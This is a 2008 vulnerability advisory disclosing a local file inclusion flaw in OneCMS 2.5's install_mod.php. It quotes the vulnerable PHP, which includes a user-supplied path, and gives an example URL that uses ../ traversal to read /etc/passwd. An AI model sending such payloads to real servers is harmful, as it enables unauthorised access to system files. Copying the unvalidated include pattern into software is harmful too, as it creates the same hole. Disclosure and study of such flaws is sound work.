Digital Security Research Group [DSecRG] Advisory #DSECRG-08-025 Application: OneCMS Versions Affected: 2.5 Vendor URL: http://www.insanevisions.com/ Bug: Local File Include Exploits: YES Reported: 26.03.2008 Vendor Response: NONE Solution: NONE Date of Public Advisory: 23.05.2008 Author: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru) Description *********** Local File Include vulnerability found in script install_mod.php Code **** ################################################# $mod = $_GET['load']; $filexp = explode(".", $mod); $filetype = $filexp[1]; $file = $filexp[0]; $file2 = "mods/$mod"; if (!is_numeric($mod)) { // makes sure that the user isnt entering a # if ($filetype == "php") { if ($_GET['act'] == "") { echo "Are you sure you would like to install the <b>".$file."</b> module?<br><a href='install_mod.php?load=".$mod."&act=go'>Yes</a>"; } if ($_GET['act'] == "go") { include ($file2); ... ################################################# Example: http://[server]/[installdir]/install_mod.php?act=go&load=1234.php../../../../../../../../../../../../../etc/passwd About ***** Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website. Contact: research [at] dsec [dot] ru http://www.dsec.ru (in Russian)